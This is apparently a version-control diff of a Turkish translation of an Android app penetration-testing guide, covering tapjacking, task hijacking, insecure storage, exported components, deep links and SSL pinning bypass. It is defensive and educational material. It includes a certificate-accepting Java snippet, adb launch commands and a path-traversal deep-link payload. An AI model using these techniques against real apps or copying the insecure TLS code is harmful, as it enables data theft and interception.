keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gereğini vurgular. +**strings.xml** dosyasından, API anahtarları, özel şemalar ve diğer geliştirici notları gibi hassas bilgiler keşfedilebilir, bu da bu kaynakların dikkatli bir şekilde gözden geçirilmesi gerekliliğini vurgular. ### Tapjacking **Tapjacking**, **kötü niyetli** bir **uygulamanın** başlatıldığı ve **bir kurban uygulamasının üzerine yerleştirildiği** bir saldırıdır. Kurban uygulamasını görünür bir şekilde gizlediğinde, kullanıcı arayüzü, kullanıcının onunla etkileşimde bulunmasını sağlamak için tasarlanmıştır, bu arada etkileşimi kurban uygulamasına iletmektedir.\ -Sonuç olarak, bu, **kullanıcının aslında kurban uygulamasında eylemler gerçekleştirdiğini bilmesini engellemektedir**. +Sonuç olarak, bu durum **kullanıcının aslında kurban uygulamasında eylem gerçekleştirdiğini bilmesini engellemektedir**. Daha fazla bilgi için: @@ -87,7 +87,7 @@ tapjacking.md ### Görev Ele Geçirme -**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** yüklenebileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek uygulamayı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**). +**`launchMode`**'u **`singleTask`** olarak ayarlanmış ve herhangi bir `taskAffinity` tanımlanmamış bir **aktivite**, görev ele geçirmeye karşı savunmasızdır. Bu, bir **uygulamanın** kurulabileceği ve gerçek uygulamadan önce başlatılırsa, **gerçek uygulamanın görevini ele geçirebileceği** anlamına gelir (bu durumda kullanıcı, **gerçek olanı kullanıyormuş gibi kötü niyetli uygulama ile etkileşimde bulunacaktır**). Daha fazla bilgi için: @@ -99,42 +99,42 @@ android-task-hijacking.md **Dahili Depolama** -Android'de, **dahili** depolamada **saklanan** dosyalar, yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**. +Android'de, **dahili** depolamada **saklanan** dosyalar yalnızca **oluşturan** **uygulama** tarafından **erişilebilir** olacak şekilde **tasarlanmıştır**. Bu güvenlik önlemi, Android işletim sistemi tarafından **uygulanır** ve genellikle çoğu uygulamanın güvenlik ihtiyaçları için yeterlidir. Ancak, geliştiriciler bazen `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` gibi modları kullanarak dosyaların farklı uygulamalar arasında **paylaşılmasına** izin verir. Ancak, bu modlar, bu dosyalara diğer uygulamalar tarafından, potansiyel olarak kötü niyetli olanlar da dahil olmak üzere, erişimi **kısıtlamaz**. 1. **Statik Analiz:** - `MODE_WORLD_READABLE` ve `MODE_WORLD_WRITABLE` kullanımının **dikkatlice incelenmesini** sağlayın. Bu modlar, dosyaları **istenmeyen veya yetkisiz erişime** açabilir. 2. **Dinamik Analiz:** -- Uygulama tarafından oluşturulan dosyalar üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olup olmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. +- Uygulama tarafından oluşturulan dosyaların üzerindeki **izinleri** **doğrulayın**. Özellikle, herhangi bir dosyanın **dünya çapında okunabilir veya yazılabilir** olarak ayarlanıp ayarlanmadığını **kontrol edin**. Bu, cihazda yüklü olan **herhangi bir uygulamanın**, kökeni veya niyeti ne olursa olsun, bu dosyaları **okumasına veya değiştirmesine** izin vereceğinden önemli bir güvenlik riski oluşturabilir. -**Harici Depolama** +**Dış Depolama** -**Harici depolama** ile dosyalarla ilgilenirken, belirli önlemler alınmalıdır: +**Dış depolama** ile ilgili dosyalarla çalışırken, belirli önlemler alınmalıdır: 1. **Erişilebilirlik**: -- Harici depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. +- Dış depolamadaki dosyalar **genel olarak okunabilir ve yazılabilir**. Bu, herhangi bir uygulamanın veya kullanıcının bu dosyalara erişebileceği anlamına gelir. 2. **Güvenlik Endişeleri**: -- Erişimin kolaylığı göz önüne alındığında, **hassas bilgileri** harici depolamada saklamamanız önerilir. -- Harici depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir. -3. **Harici Depolamadan Veri İşleme**: -- Harici depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir. -- Dinamik yükleme için harici depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez. -- Uygulamanız harici depolamadan yürütülebilir dosyaları almak zorundaysa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. +- Erişim kolaylığı göz önüne alındığında, **hassas bilgileri dış depolamada saklamamanız** önerilir. +- Dış depolama, herhangi bir uygulama tarafından çıkarılabilir veya erişilebilir, bu da onu daha az güvenli hale getirir. +3. **Dış Depolamadan Veri İşleme**: +- Dış depolamadan alınan veriler üzerinde her zaman **giriş doğrulaması** yapın. Bu, verilerin güvenilir bir kaynaktan gelmediği için kritik öneme sahiptir. +- Dinamik yükleme için dış depolamada yürütülebilir veya sınıf dosyaları saklamak kesinlikle önerilmez. +- Uygulamanızın dış depolamadan yürütülebilir dosyaları alması gerekiyorsa, bu dosyaların dinamik olarak yüklenmeden önce **imzalanmış ve kriptografik olarak doğrulanmış** olduğundan emin olun. Bu adım, uygulamanızın güvenlik bütünlüğünü korumak için hayati öneme sahiptir. -Harici depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**. +Dış depolama, `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` konumlarında **erişilebilir**. > [!NOTE] -> Android 4.4 (**API 17**) ile birlikte, SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. +> Android 4.4 ile birlikte (**API 17**), SD kartın bir dizin yapısı vardır ve bu, **bir uygulamanın yalnızca o uygulama için özel olan dizine erişimini sınırlar**. Bu, kötü niyetli uygulamaların başka bir uygulamanın dosyalarına okuma veya yazma erişimi kazanmasını engeller. **Açık metin olarak saklanan hassas veriler** -- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data//shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür. -- **Veritabanları**: Android, her uygulamanın `/data/data//databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen bu klasörde açık metin olarak hassas bilgiler bulmak mümkündür. +- **Paylaşılan tercihleri**: Android, her uygulamanın `/data/data//shared_prefs/` yolunda xml dosyalarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgilerin bulunması mümkündür. +- **Veritabanları**: Android, her uygulamanın `/data/data//databases/` yolunda sqlite veritabanlarını kolayca kaydetmesine izin verir ve bazen o klasörde açık metin olarak hassas bilgilerin bulunması mümkündür. ### Kırık TLS **Tüm Sertifikaları Kabul Etme** -Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı aşağıdaki gibi kod satırlarıyla eşleşmese bile: +Bazı nedenlerden dolayı, bazen geliştiriciler tüm sertifikaları kabul eder, örneğin, ana bilgisayar adı kod satırlarıyla eşleşmediğinde bile: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -149,14 +149,14 @@ Bazı geliştiriciler hassas verileri yerel depolamada saklar ve bunu kodda hard **Güvensiz ve/veya Kullanımdan Kaldırılmış Algoritmaların Kullanımı** -Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash** kullanılıyorsa, tuz ile birlikte **brute-force** **dirençli** hash'ler kullanılmalıdır. +Geliştiriciler, yetkilendirme **kontrolleri**, **veri saklama** veya **gönderme** işlemleri için **kullanımdan kaldırılmış algoritmalar** kullanmamalıdır. Bu algoritmalardan bazıları: RC4, MD4, MD5, SHA1... Örneğin, şifreleri saklamak için **hash'ler** kullanılıyorsa, tuz ile birlikte **brute-force saldırılarına dayanıklı** hash'ler kullanılmalıdır. ### Diğer Kontroller -- Saldırganların tersine mühendislik çalışmalarını zorlaştırmak için **APK'yı obfuscate** etmek önerilir. -- Uygulama hassas ise (banka uygulamaları gibi), **mobilin köklü olup olmadığını kontrol etmek için kendi kontrollerini** gerçekleştirmelidir ve buna göre hareket etmelidir. -- Uygulama hassas ise (banka uygulamaları gibi), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. -- Uygulama hassas ise (banka uygulamaları gibi), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**. +- **APK'yı obfuscate etmek** saldırganların tersine mühendislik çalışmalarını zorlaştırmak için önerilir. +- Uygulama hassas ise (örneğin banka uygulamaları), **mobilin köklenip köklenmediğini kontrol etmelidir** ve buna göre hareket etmelidir. +- Uygulama hassas ise (örneğin banka uygulamaları), bir **emülatör** kullanılıp kullanılmadığını kontrol etmelidir. +- Uygulama hassas ise (örneğin banka uygulamaları), **çalıştırmadan önce kendi bütünlüğünü kontrol etmelidir**. - APK'yı oluşturmak için hangi derleyici/paketleyici/obfuscator kullanıldığını kontrol etmek için [**APKiD**](https://github.com/rednaga/APKiD) kullanın. ### React Native Uygulaması @@ -185,9 +185,9 @@ Bu [**blog yazısına**](https://clearbluejar.github.io/posts/desuperpacking-met Bu bilgiyle, **mariana-trench kodu gözden geçirecek ve olası zayıflıkları bulacaktır**. -### Sızdırılan Sırlar +### Sızdırılan Gizli Bilgiler -Bir uygulama, içinde keşfedebileceğiniz sırlar (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz. +Bir uygulama, içinde keşfedebileceğiniz gizli bilgiler (API anahtarları, şifreler, gizli URL'ler, alt alan adları...) içerebilir. [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks) gibi bir araç kullanabilirsiniz. ### Biyometrik Kimlik Doğrulama Atlatma @@ -199,8 +199,8 @@ bypass-biometric-authentication-android.md - **Kod yürütme**: `Runtime.exec(), ProcessBuilder(), native code:system()` - **SMS gönderme**: `sendTextMessage, sendMultipartTestMessage` -- **Native fonksiyonlar** `native` olarak tanımlanmıştır: `public native, System.loadLibrary, System.load` -- [Native fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md) +- `native` olarak tanımlanan **yerel fonksiyonlar**: `public native, System.loadLibrary, System.load` +- [Yerel fonksiyonları **tersine mühendislik yapmayı öğrenmek için bunu okuyun**](reversing-native-libraries.md) ### **Diğer Hileler** @@ -230,20 +230,20 @@ ADB bağlantısı sayesinde, emülatörler içinde **Drozer** ve **Frida** kulla #### Bir emülatör kullanarak -- [**Android Studio**](https://developer.android.com/studio) ( **x86** ve **arm** cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri **ARM kütüphanelerini** yavaş bir arm emülatörüne ihtiyaç duymadan destekler). +- [**Android Studio**](https://developer.android.com/studio) (x86 ve arm cihazlar oluşturabilirsiniz ve [**bu**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**en son x86** sürümleri ARM kütüphanelerini yavaş bir arm emülatörüne ihtiyaç duymadan destekler). - Kurulumunu bu sayfada öğrenin: {{#ref}} avd-android-virtual-device.md {{#endref}} -- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile **sürümü indirmek** önerilir._) +- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Ücretsiz sürüm:** Kişisel Sürüm, bir hesap oluşturmanız gerekir. _Potansiyel hataları önlemek için **VirtualBox** ile birlikte sürümü **indirin** önerilir._) - [**Nox**](https://es.bignox.com) (Ücretsiz, ancak Frida veya Drozer'ı desteklemez). > [!NOTE] -> Herhangi bir platformda yeni bir emülatör oluştururken, ekranın ne kadar büyük olursa, emülatörün o kadar yavaş çalışacağını unutmayın. Bu nedenle, mümkünse küçük ekranlar seçin. +> Herhangi bir platformda yeni bir emülatör oluştururken, ekran ne kadar büyükse, emülatör o kadar yavaş çalışır. Bu nedenle, mümkünse küçük ekranlar seçin. -Genymotion'da **Google hizmetlerini** (AppStore gibi) yüklemek için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir: +Genymotion'da **Google hizmetlerini** (AppStore gibi) kurmak için aşağıdaki resmin kırmızı ile işaretlenmiş butonuna tıklamanız gerekir: ![](<../../images/image (277).png>) @@ -259,8 +259,8 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo 4. **Build numarasına** 7 kez basın. 5. Geri dönün ve **Geliştirici seçeneklerini** bulacaksınız. -> Uygulamayı yükledikten sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ -> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi gerçekleştirmeyi öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebiliriz. +> Uygulamayı kurduktan sonra yapmanız gereken ilk şey, onu denemek ve ne yaptığını, nasıl çalıştığını araştırmak ve onunla rahat olmaktır.\ +> **MobSF dinamik analizi + pidcat** kullanarak bu ilk dinamik analizi yapmanızı öneririm, böylece **uygulamanın nasıl çalıştığını öğrenebiliriz** ve MobSF **ilginç** **verileri** toplarken daha sonra gözden geçirebilirsiniz. ### İstenmeyen Veri Sızıntısı @@ -269,16 +269,16 @@ Ayrıca, Genymotion'daki **Android VM yapılandırmasında** **Bridge Network mo Geliştiriciler, **hata ayıklama bilgilerini** kamuya açık bir şekilde ifşa etme konusunda dikkatli olmalıdır, çünkü bu hassas veri sızıntılarına yol açabilir. Uygulama günlüklerini izlemek ve hassas bilgileri korumak için [**pidcat**](https://github.com/JakeWharton/pidcat) ve `adb logcat` araçları önerilir. **Pidcat**, kullanım kolaylığı ve okunabilirliği nedeniyle tercih edilmektedir. > [!WARNING] -> **Android 4.0'dan** itibaren, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\ -> Yine de, **hassas bilgileri günlüklememek** önerilir. +> **Android 4.0'dan** sonraki **yeni sürümlerden itibaren**, **uygulamalar yalnızca kendi günlüklerine erişebilir**. Yani uygulamalar diğer uygulamaların günlüklerine erişemez.\ +> Yine de, **hassas bilgileri günlüğe kaydetmemek** önerilir. **Kopyala/Yapıştır Tamponu Önbellekleme** -Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya erişebildiğinden hassas verilerin açığa çıkma riski taşır. Hassas bölümlerde, kredi kartı bilgileri gibi, veri sızıntılarını önlemek için **kopyala/yapıştır** işlevlerini devre dışı bırakmak önemlidir. +Android'in **panoya dayalı** çerçevesi, uygulamalarda kopyala-yapıştır işlevselliği sağlar, ancak **diğer uygulamalar** panoya **erişebildiği** için hassas verilerin açığa çıkma riski taşır. Hassas bölümler için kopyala/yapıştır işlevlerini devre dışı bırakmak, kredi kartı bilgileri gibi veri sızıntılarını önlemek için kritik öneme sahiptir. **Çökme Günlükleri** -Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlük kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. +Bir uygulama **çökerse** ve **günlükleri kaydederse**, bu günlükler saldırganlara yardımcı olabilir, özellikle uygulama tersine mühendislik yapılamıyorsa. Bu riski azaltmak için, çökme durumunda günlüğe kaydetmekten kaçının ve eğer günlükler ağ üzerinden iletilmesi gerekiyorsa, güvenlik için SSL kanalı üzerinden gönderildiğinden emin olun. Pentester olarak, **bu günlükleri gözden geçirmeye çalışın**. @@ -295,33 +295,33 @@ Eğer veritabanı gizli bilgileri saklıyorsa ve **şifrelenmişse** ancak uygul Tabloları `.tables` ile listeleyin ve tabloların sütunlarını `.schema ` ile listeleyin. -### Drozer (Saldırı Aktiviteleri, İçerik Sağlayıcıları ve Servisler) +### Drozer (Saldırı Etkinlikleri, İçerik Sağlayıcıları ve Hizmetler) -[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği **her şeyi** yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\ -Drozer, **ihracat edilen aktiviteleri, ihracat edilen servisleri ve İçerik Sağlayıcıları** istismar etmek için faydalı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz. +[Drozer Belgeleri](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf)'nden: **Drozer**, bir Android uygulamasının rolünü üstlenmenizi ve diğer uygulamalarla etkileşimde bulunmanızı sağlar. Yüklenmiş bir uygulamanın yapabileceği her şeyi yapabilir, örneğin Android’in Araçlar Arası İletişim (IPC) mekanizmasını kullanabilir ve temel işletim sistemi ile etkileşimde bulunabilir.\ +Drozer, **ihracat edilen etkinlikleri, ihracat edilen hizmetleri ve İçerik Sağlayıcıları** istismar etmek için yararlı bir araçtır, bunu aşağıdaki bölümlerde öğreneceksiniz. -### İhracat Edilen Aktiviteleri İstismar Etme +### İhracat Edilen Etkinlikleri İstismar Etme -[**Bir Android Aktivitesinin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Ayrıca, bir aktivitenin kodunun **`onCreate`** metodunda başladığını unutmayın. +[**Bir Android Etkinliği'nin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +Ayrıca, bir etkinliğin kodunun **`onCreate`** metodunda başladığını unutmayın. **Yetkilendirme atlatma** -Bir Aktivite ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir aktivite **ihracat** edildiyse, **yetkilendirme** mekanizmalarını **atlatabilirsiniz**. +Bir Etkinlik ihracat edildiğinde, dış bir uygulamadan ekranını çağırabilirsiniz. Bu nedenle, **hassas bilgileri** içeren bir etkinlik **ihracat edildiğinde**, **ona erişmek için** **kimlik doğrulama** mekanizmalarını **atlatabilirsiniz.** -[**Drozer ile ihracat edilen aktiviteleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities) +[**Drozer ile ihracat edilen etkinlikleri nasıl istismar edeceğinizi öğrenin.**](drozer-tutorial/index.html#activities) -Ayrıca adb'den bir ihracat edilen aktivite başlatabilirsiniz: +Ayrıca, adb'den bir ihracat edilen etkinliği başlatabilirsiniz: - Paket Adı com.example.demo -- İhracat Edilen Aktivite Adı com.example.test.MainActivity +- İhracat Edilen Etkinlik Adı com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` **NOT**: MobSF, bir aktivitede `android:launchMode` olarak _**singleTask/singleInstance**_ kullanımını kötü niyetli olarak tespit edecektir, ancak [bu](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) nedeniyle, görünüşe göre bu yalnızca eski sürümlerde (API sürümleri < 21) tehlikelidir. > [!NOT] -> Bir yetkilendirme atlamasının her zaman bir zafiyet olmadığını unutmayın, bu atlamanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır. +> Bir yetkilendirme atlamanın her zaman bir zafiyet olmadığını unutmayın, bu atlamanın nasıl çalıştığına ve hangi bilgilerin açığa çıktığına bağlıdır. **Hassas bilgi sızıntısı** @@ -334,25 +334,25 @@ Eğer tapjacking engellenmezse, dışa aktarılmış aktiviteyi **kullanıcını ### İçerik Sağlayıcılarını Sömürme - Hassas bilgilere erişim ve manipülasyon [**Bir İçerik Sağlayıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#content-provider)\ -İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkarma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals** test etmek de ilginçtir çünkü bunlar zayıf olabilir. +İçerik sağlayıcıları temelde **veri paylaşmak** için kullanılır. Eğer bir uygulamanın mevcut içerik sağlayıcıları varsa, onlardan **hassas** verileri **çıkartma** imkanınız olabilir. Ayrıca, olası **SQL enjeksiyonlarını** ve **Path Traversals**'ı test etmek de ilginçtir çünkü bunlar zayıf olabilir. [**Drozer ile İçerik Sağlayıcılarını nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#content-providers) ### **Hizmetleri Sömürme** -[**Bir Hizmetin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\ -Bir Hizmetin eylemlerinin `onStartCommand` metodunda başladığını unutmayın. +[**Bir Servisin ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#services)\ +Bir Servisin eylemlerinin `onStartCommand` metodunda başladığını unutmayın. -Hizmet, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (veya döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve gizli bilgileri çıkarmak, kimlik doğrulama önlemlerini atlamak için **dinamik olarak test etmelisiniz**...\ +Servis, temelde **veri alabilen**, **işleyebilen** ve **bir yanıt döndüren** (ya da döndürmeyen) bir şeydir. Dolayısıyla, bir uygulama bazı hizmetleri dışa aktarıyorsa, ne yaptığını anlamak için **kodunu kontrol etmeli** ve **gizli bilgileri çıkartmak, kimlik doğrulama önlemlerini atlamak...** için **dinamik olarak test etmelisiniz**.\ [**Drozer ile Hizmetleri nasıl sömüreceğinizi öğrenin.**](drozer-tutorial/index.html#services) -### **Yayın Alıcılarını Sömürme** +### **Broadcast Alıcılarını Sömürme** -[**Bir Yayın Alıcısının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\ -Bir Yayın Alıcısının eylemlerinin `onReceive` metodunda başladığını unutmayın. +[**Bir Broadcast Alıcının ne olduğunu tazelemek istiyorsanız bunu okuyun.**](android-applications-basics.md#broadcast-receivers)\ +Bir Broadcast Alıcının eylemlerinin `onReceive` metodunda başladığını unutmayın. Bir yayın alıcısı bir tür mesaj bekleyecektir. Alıcının mesajı nasıl işlediğine bağlı olarak, zayıf olabilir.\ -[**Drozer ile Yayın Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers) +[**Drozer ile Broadcast Alıcılarını nasıl sömüreceğinizi öğrenin.**](#exploiting-broadcast-receivers) ### **Şemaları / Derin bağlantıları Sömürme** @@ -362,7 +362,7 @@ Bir tanımlanmış **şemayı** **adb** veya bir **tarayıcı** kullanarak **aç adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` _Not edin ki **paket adını atlayabilirsiniz** ve mobil otomatik olarak o bağlantıyı açması gereken uygulamayı çağıracaktır._ -```markup +```html Click me @@ -374,13 +374,13 @@ Uygulamada **çalıştırılacak kodu bulmak için**, derin bağlantıyla çağr ![](<../../images/image (436) (1) (1) (1).png>) -**Hassas bilgiler** +**Hassas bilgi** -Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas veriler (şifreler gibi) almadığından emin olun**, çünkü başka bir uygulama **derin bağlantıyı taklit edebilir ve bu verileri çalabilir!** +Her derin bağlantı bulduğunuzda, **URL parametreleri aracılığıyla hassas veri (şifreler gibi) almadığından emin olun**, çünkü başka bir uygulama **derin bağlantıyı taklit edebilir ve bu veriyi çalabilir!** **Yolda parametreler** -**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**. Örneğin: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +**URL'nin yolunda bir parametre kullanıp kullanmadığını da kontrol etmelisiniz**: `https://api.example.com/v1/users/{username}` , bu durumda bir yol geçişi zorlayarak şuna erişebilirsiniz: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ Uygulama içinde doğru uç noktaları bulursanız, **Açık Yönlendirme** (eğer yolun bir kısmı alan adı olarak kullanılıyorsa), **hesap ele geçirme** (eğer kullanıcı detaylarını CSRF token olmadan değiştirebiliyorsanız ve zayıf uç nokta doğru yöntemi kullanıyorsa) ve diğer zayıflıkları tetikleyebilirsiniz. Daha fazla [bilgi burada](http://dphoeniixx.com/2020/12/13-2/). **Daha fazla örnek** @@ -391,7 +391,7 @@ Bir [ilginç hata ödül raporu](https://hackerone.com/reports/855618) bağlant - **Sertifikalar her zaman düzgün bir şekilde incelenmez** Android uygulamaları tarafından. Bu uygulamaların uyarıları göz ardı etmesi ve kendinden imzalı sertifikaları kabul etmesi veya bazı durumlarda HTTP bağlantılarına geri dönmesi yaygındır. - **SSL/TLS el sıkışması sırasında müzakereler bazen zayıftır**, güvensiz şifreleme takımları kullanır. Bu zayıflık, bağlantıyı adam ortada (MITM) saldırılarına karşı savunmasız hale getirir ve saldırganların verileri şifrelerini çözmesine olanak tanır. -- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvensiz kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verileri kötü niyetli varlıkların ele geçirmesinden korumaz. +- **Özel bilgilerin sızması**, uygulamalar güvenli kanallar kullanarak kimlik doğrulaması yaparken ancak diğer işlemler için güvenli olmayan kanallar üzerinden iletişim kurduğunda bir risk oluşturur. Bu yaklaşım, oturum çerezleri veya kullanıcı detayları gibi hassas verilerin kötü niyetli varlıklar tarafından ele geçirilmesini korumaz. #### Sertifika Doğrulama @@ -399,7 +399,7 @@ Bir [ilginç hata ödül raporu](https://hackerone.com/reports/855618) bağlant #### SSL Pinning -SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgileri işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir. +SSL Pinning, uygulamanın sunucunun sertifikasını uygulama içinde saklanan bilinen bir kopya ile doğruladığı bir güvenlik önlemidir. Bu yöntem, MITM saldırılarını önlemek için gereklidir. Hassas bilgi işleyen uygulamalar için SSL Pinning uygulamak şiddetle önerilir. #### Trafik İncelemesi @@ -411,7 +411,7 @@ HTTP trafiğini incelemek için, **proxy aracının sertifikasını yüklemek** SSL Pinning uygulandığında, HTTPS trafiğini incelemek için bunu aşmak gerekli hale gelir. Bu amaçla çeşitli yöntemler mevcuttur: -- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi yanı, SSL Pinning'i aşmak için root'a ihtiyacınız olmamasıdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir. +- **apk'yi otomatik olarak değiştirerek** SSL Pinning'i **aşmak için** [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) kullanabilirsiniz. Bu seçeneğin en iyi avantajı, SSL Pinning'i aşmak için root'a ihtiyaç duymamanızdır, ancak uygulamayı silip yeni olanı yeniden yüklemeniz gerekecek ve bu her zaman işe yaramayabilir. - Bu korumayı aşmak için **Frida** kullanabilirsiniz (aşağıda tartışılmıştır). Burp+Frida+Genymotion kullanma rehberiniz burada: 